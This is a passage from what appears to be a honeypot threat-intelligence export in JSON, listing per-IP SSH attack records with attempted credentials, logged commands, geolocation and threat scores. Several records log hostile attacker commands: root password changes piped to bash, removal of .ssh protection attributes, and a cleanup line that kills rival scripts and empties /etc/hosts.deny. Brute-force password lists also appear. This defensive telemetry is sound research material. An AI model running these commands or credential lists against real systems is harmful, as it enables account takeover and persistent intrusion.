        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"db_user\\n2oYFAf3kIAEk\\n2oYFAf3kIAEk\\n\"|passwd",
        "echo -e \"db_user\\n2oYFAf3kIAEk\\n2oYFAf3kIAEk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 278,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:53:33.993000+00:00",
        "last_seen_30d": "2026-05-07T16:31:31.761000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 71
      }
    },
    "171.114.225.26": {
      "attack_count": 200,
      "first_seen": "2026-05-20T18:20:54.122Z",
      "last_seen": "2026-05-21T06:32:43.520Z",
      "sessions": 100,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 309,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:20:54.122000+00:00",
        "last_seen_30d": "2026-05-21T06:33:48.084000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 109
      }
    },
    "103.174.131.176": {
      "attack_count": 192,
      "first_seen": "2026-05-29T06:15:48.067Z",
      "last_seen": "2026-05-29T06:38:09.135Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deamon",
        "info",
        "laravel",
        "monitor",
        "pzuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Abcd2024",
        "Ai123456",
        "Root!123",
        "a123456789*",
        "asd1230.",
        "deamon",
        "fjbdfdjkdsfs541544",
        "info",
        "laravel",
        "monitor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\nGzpafuMpEhpc\\nGzpafuMpEhpc\\n\"|passwd",
        "echo \"root:7DKogzTWhQbx\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nGzpafuMpEhpc\\nGzpafuMpEhpc\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 147287,
      "as_org": "DATAPARADISE",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:15:48.067000+00:00",
        "last_seen_30d": "2026-05-29T06:39:15.655000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 34
      }
    },
    "182.253.17.173": {
      "attack_count": 191,
      "first_seen": "2026-05-18T08:42:28.531Z",
      "last_seen": "2026-05-18T09:02:18.749Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123root",
        "1qaz2wsx3edc4rfv",
        "Welcome2015",
        "abcd-1234",
        "auser",
        "cloudadmin",
        "coding",
        "percy",
        "puppet",
        "testtest123",
        "wagner"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:gNYX1DeH3TqM\"|chpasswd|bash",
        "echo \"root:hV3wpj6bykXR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "West Jakarta",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:42:28.531000+00:00",
        "last_seen_30d": "2026-05-18T09:03:19.415000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 34
      }
    },
    "199.127.60.187": {
      "attack_count": 186,
      "first_seen": "2026-05-08T17:52:08.998Z",
      "last_seen": "2026-05-31T06:10:56.011Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:52:08.998000+00:00",
        "last_seen_30d": "2026-05-31T06:11:58.502000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 93
      }
    },
    "120.240.236.178": {
      "attack_count": 183,
      "first_seen": "2026-05-26T20:23:33.314Z",
      "last_seen": "2026-05-31T11:34:11.268Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "minecraft",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "david",
        "faisal",
        "visionupdater",
        "yann"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "0okm)OKM",
        "1",
        "123456",
        "345gs5662d34",
        "Pass123!@#",
        "admin123",
        "fjbdfdjkdsfs541544AA@@",
        "pass",
        "qaz123123",
        "visionupdater",
        "yann"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"fjbdfdjkdsfs541544AA@@\\nT9d9z5G9MeW2\\nT9d9z5G9MeW2\\n\"|passwd",
        "echo \"pass\\nZIrP5qo5Fz7F\\nZIrP5qo5Fz7F\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544AA@@\\nT9d9z5G9MeW2\\nT9d9z5G9MeW2\"|passwd|bash",
        "echo -e \"pass\\nZIrP5qo5Fz7F\\nZIrP5qo5Fz7F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56040,
      "as_org": "China Mobile communications corporation",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:23:33.314000+00:00",
        "last_seen_30d": "2026-05-31T11:45:27.102000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 41
      }
    },
    "104.218.166.62": {
      "attack_count": 173,
      "first_seen": "2026-05-19T06:26:16.817Z",
      "last_seen": "2026-05-19T06:59:16.452Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "!@#123456",
        "123.qwe",
        "123456Rh",
        "1234Qwert",
        "2014",
        "3245gs5662d34",
        "345gs5662d34",
        "Palworld",
        "Test2018",
        "_",
        "admin-1234",
        "airwolf",
        "bmw123",
        "claude",
        "joseph",
        "newworld",
        "police",
        "student7",
        "tearmann",
        "wpadmin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:pLfAKe2pyjZV\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:26:16.817000+00:00",
        "last_seen_30d": "2026-05-19T07:00:25.314000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 52
      }
    },
    "69.49.246.176": {
      "attack_count": 169,
      "first_seen": "2026-05-18T02:13:57.962Z",
      "last_seen": "2026-05-18T02:36:09.856Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user001",
        "345gs5662d34",
        "administrator",
        "ako",
        "dockeruser",
        "ftp_client",
        "ftpuser1",
        "gc",
        "manager",
        "rstudio",
        "support",
        "zh"
      ],
      "passwords_attempted": [
        "123456",
        "1211",
        "123123aA@",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "ItsemoemoWashere2026support",
        "P@ssw0rd",
        "P@ssw0rd@2026",
        "PassW0rd",
        "Qwer@2026",
        "Support@2025",
        "a1234567",
        "ako",
        "dockeruser",
        "manager",
        "rstudio",
        "vps2024",
        "w,j[vdsivd"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nUcgzuNPOCTyG\\nUcgzuNPOCTyG\\n\"|passwd",
        "echo -e \"123456\\nUcgzuNPOCTyG\\nUcgzuNPOCTyG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19871,
      "as_org": "Network Solutions, LLC",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:13:57.962000+00:00",
        "last_seen_30d": "2026-05-18T02:37:19.859000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 49
      }
    },
    "192.210.194.2": {
      "attack_count": 168,
      "first_seen": "2026-05-05T01:18:15.128Z",
      "last_seen": "2026-05-31T23:31:41.677Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 57.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:18:15.128000+00:00",
        "last_seen_30d": "2026-05-31T23:32:49.815000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 84
      }
    },
    "45.89.60.81": {
      "attack_count": 154,
      "first_seen": "2026-05-18T17:48:42.407Z",
      "last_seen": "2026-05-18T18:31:00.529Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0815",
        "1101",
        "123456qq!",
        "159357",
        "1989",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "Huawei12#$",
        "PlcmSpIp123",
        "bbbbb",
        "laila",
        "lei",
        "lubuntu",
        "sanfrancisco",
        "seitz"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:cflKTv86CNFP\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 203,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:48:42.407000+00:00",
        "last_seen_30d": "2026-05-18T18:32:03.124000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 154,
        "Suricata": 49
      }
    },
    "203.23.128.43": {
      "attack_count": 116,
      "first_seen": "2026-05-29T15:18:25.366Z",
      "last_seen": "2026-05-29T15:51:38.199Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "test",
        "test5",
        "deployer",
        "marco",
        "sergio",
        "steam",
        "testmail",
        "ubuntu",
        "wso2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "123qweASD",
        "1qazXSW@",
        "Lk123456",
        "Testing@123",
        "Zaq1Xsw2",
        "abc123456@",
        "fjbdfdjkdsfs541544",
        "sergio",
        "sf123456.",
        "test1234",
        "test5",
        "testmailpass",
        "testtest",
        "wso2"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 133752,
      "as_org": "LEASEWEB HONG KONG LIMITED",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:18:25.366000+00:00",
        "last_seen_30d": "2026-05-29T15:52:47.593000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 45
      }
    },
    "139.180.163.29": {
      "attack_count": 102,
      "first_seen": "2026-05-03T09:48:16.034Z",
      "last_seen": "2026-05-28T08:33:42.261Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:48:16.034000+00:00",
        "last_seen_30d": "2026-05-28T08:34:47.877000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "78.111.67.47": {
      "attack_count": 96,
      "first_seen": "2026-05-02T23:56:58.323Z",
      "last_seen": "2026-05-31T06:38:44.160Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:56:58.323000+00:00",
        "last_seen_30d": "2026-05-31T06:39:44.605000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "34.156.201.209": {
      "attack_count": 73,
      "first_seen": "2026-05-29T09:12:32.537Z",
      "last_seen": "2026-05-29T09:13:19.608Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3835",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-29T07:02:02+00:00",
        "last_seen_30d": "2026-05-29T09:14:28.945000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 46,
        "Mailoney": 3
      }
    },
    "14.103.145.231": {
      "attack_count": 70,
      "first_seen": "2026-05-07T06:42:28.524Z",
      "last_seen": "2026-05-07T08:08:52.579Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "!",
        "12345q",
        "aA123456789"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:42:28.524000+00:00",
        "last_seen_30d": "2026-05-07T08:19:28.803000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 51
      }
    },
    "91.193.18.110": {
      "attack_count": 66,
      "first_seen": "2026-05-10T01:38:15.378Z",
      "last_seen": "2026-05-31T23:43:08.543Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 59711,
      "as_org": "HZ Hosting Ltd",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:38:15.378000+00:00",
        "last_seen_30d": "2026-05-31T23:44:15.653000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "161.81.121.236": {
      "attack_count": 60,
      "first_seen": "2026-05-20T18:35:55.359Z",
      "last_seen": "2026-05-20T22:42:30.989Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:35:55.359000+00:00",
        "last_seen_30d": "2026-05-20T22:43:38.481000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 32
      }
    },
    "46.107.215.7": {
      "attack_count": 60,
      "first_seen": "2026-05-09T02:42:19.158Z",
